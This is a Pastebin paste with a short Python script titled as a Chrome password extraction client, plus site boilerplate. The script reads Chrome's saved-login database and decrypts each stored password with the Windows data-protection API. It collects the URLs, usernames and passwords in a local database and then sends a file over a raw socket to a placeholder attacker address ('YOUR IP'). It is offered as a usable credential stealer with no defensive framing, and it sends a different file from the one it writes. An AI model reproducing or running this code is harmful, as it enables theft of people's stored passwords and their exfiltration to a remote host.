SHARE
TWEET

Chrome Password Extraction Client

a guest Jul 22nd, 2015 5,024 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '''
  2. Created on 19 Jun 2015
  3.  
  4. @author: Jordan Wright <jordan-wright.github.io>    +    Robyn Hode    
  5. '''
  6. from os import getenv
  7. import sqlite3
  8. import win32crypt
  9. import socket
  10.  
  11. host = 'YOUR IP'
  12. port = YOURPORT
  13.  
  14. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
  15. conn2 = sqlite3.connect("passwordsdecrypt.db")
  16. clientsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  17. clientsock.connect((host, port))
  18.    
  19. cursor = conn.cursor()
  20. cursor2 = conn2.cursor()
  21.  
  22. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  23. cursor2.execute('''CREATE TABLE passwords(url, username, password)''')
  24.  
  25. for result in cursor.fetchall():
  26.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  27.     url = result[0]
  28.     username = result[1]
  29.     if password:
  30.         cursor2.execute("INSERT INTO passwords (url, username, password) VALUES (?, ?, ?)", (url, username, password))
  31.         conn2.commit()
  32.  
  33. passfile = open("chat.db", "rb")
  34. readfrompassfile = passfile.read()
  35. clientsock.sendall(readfrompassfile)
  36.  
  37. conn.close()
  38. conn2.close()
  39. clientsock.shutdown(socket.SHUT_WR)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top